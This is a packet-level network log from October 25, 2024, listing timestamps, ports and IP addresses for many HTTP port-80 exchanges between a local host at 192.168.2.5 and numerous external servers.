Oct 25, 2024 11:18:15.582504988 CEST	52996	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:15.585242033 CEST	52996	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:15.585341930 CEST	80	52973	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:15.590029001 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590048075 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590060949 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590106964 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590106964 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590116978 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590127945 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590138912 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590152025 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590162992 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590214014 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590214014 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590214014 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590440989 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590451956 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.590522051 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.590601921 CEST	80	52996	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:15.594297886 CEST	80	52972	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:15.594363928 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:15.596359015 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.596824884 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.597728968 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597771883 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597783089 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597819090 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.597851992 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.597852945 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597865105 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597876072 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597886086 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597898960 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597908974 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.597910881 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597923040 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.597939014 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.597939968 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.597960949 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.603802919 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.603879929 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.603888988 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.603976011 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.604021072 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.606134892 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:15.611568928 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:15.611682892 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:15.611917973 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:15.617364883 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:15.622992039 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:15.628500938 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:15.628565073 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:15.628745079 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:15.631383896 CEST	80	52976	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:15.631548882 CEST	52976	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:15.634037971 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.634051085 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:15.637510061 CEST	80	52979	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.637658119 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.640091896 CEST	80	52999	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:15.640383959 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.640510082 CEST	52999	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.646611929 CEST	80	52999	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:15.648842096 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.648854971 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.648866892 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.648878098 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.648891926 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.648911953 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.658917904 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.664499998 CEST	80	52979	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.665050030 CEST	53000	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:15.670417070 CEST	80	53000	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:15.670502901 CEST	53000	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:15.670689106 CEST	53000	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:15.676203012 CEST	80	53000	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:15.676799059 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.676868916 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.677731991 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.680495977 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680556059 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680562019 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680567980 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680581093 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680593014 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680596113 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680617094 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680623055 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680635929 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680641890 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680641890 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680654049 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680665970 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.680699110 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680699110 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.680737972 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.683075905 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.689089060 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689127922 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689137936 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689157009 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689176083 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689188004 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689201117 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.689222097 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689234018 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689244986 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.689255953 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.689261913 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689274073 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.689296961 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.689296961 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.689317942 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.694624901 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.694680929 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.694691896 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.694701910 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.694796085 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.694835901 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.717699051 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.717861891 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.720163107 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.725502014 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.725594997 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.725815058 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.725835085 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.731288910 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.732012987 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.735574007 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.735645056 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.735656023 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.735666990 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.735680103 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.735681057 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.735699892 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.736022949 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.736192942 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.736249924 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.736263037 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.736299992 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.736311913 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.736314058 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.736327887 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.736373901 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.737020016 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.737056017 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.737066031 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.737066984 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.737091064 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.737102032 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.737147093 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.737147093 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.737147093 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.737147093 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.741350889 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741360903 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741408110 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.741453886 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741512060 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741552114 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741558075 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.741588116 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.741899967 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741918087 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:15.741950035 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.741950035 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:15.768022060 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.773762941 CEST	80	53002	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:15.773890972 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.773972988 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:15.777112961 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777123928 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777151108 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777185917 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.777193069 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777204990 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777210951 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.777225971 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.777262926 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.779325962 CEST	80	53002	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:15.786689043 CEST	80	52980	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:15.786806107 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:15.799609900 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.799619913 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.799629927 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.799639940 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.799675941 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.799705982 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.801671982 CEST	80	52977	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:15.801765919 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:15.809174061 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809185028 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809195042 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809215069 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809226036 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809231043 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.809273005 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.809392929 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809408903 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809418917 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809429884 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809441090 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.809448004 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.809465885 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.809478045 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.810388088 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.810400009 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.810410976 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.810440063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.810456038 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.810525894 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.810617924 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.810628891 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.810657024 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.811141014 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.811180115 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.811198950 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.811234951 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.811270952 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.813395023 CEST	80	52973	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:15.813442945 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:15.817229986 CEST	52980	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:15.822702885 CEST	80	52980	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:15.823132992 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:15.823674917 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823689938 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823708057 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823805094 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.823842049 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.823909044 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823920012 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823930979 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.823973894 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.823973894 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.824064016 CEST	80	52979	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.824112892 CEST	52979	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.824294090 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.824306011 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.824317932 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.824328899 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.824439049 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.824439049 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.825197935 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825207949 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825217009 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825237036 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825247049 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825258970 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825269938 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.825367928 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.825367928 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.826031923 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.826042891 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.826059103 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:15.826155901 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.826375961 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:15.828540087 CEST	80	52977	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:15.867871046 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.867892027 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.867897034 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.867903948 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.867911100 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.868057013 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.880275011 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.880309105 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.880320072 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.880330086 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.880331993 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.880352974 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.880397081 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.880410910 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:15.880467892 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:15.886329889 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:15.891858101 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.891875029 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.891887903 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.891899109 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.891911983 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.891925097 CEST	80	53003	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:15.891998053 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.892021894 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:15.892158985 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:15.892324924 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.892378092 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.892404079 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.892436028 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.892469883 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.892738104 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.892790079 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.892838955 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.897411108 CEST	80	53003	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:15.905394077 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905404091 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905416012 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905433893 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905445099 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905457020 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905468941 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.905559063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.905559063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.905559063 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.906152964 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.906163931 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.906174898 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.906187057 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.906202078 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.906217098 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.906244993 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.915927887 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.915997028 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.917848110 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.918740988 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.918778896 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.918788910 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.918832064 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.918833017 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.918843985 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.918848991 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.918874025 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.918889046 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.923207998 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.937268019 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937325954 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937328100 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937340975 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937366009 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937370062 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937381983 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937392950 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:15.937424898 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937424898 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:15.937439919 CEST	52974	80	192.168.2.5	217.79.184.35
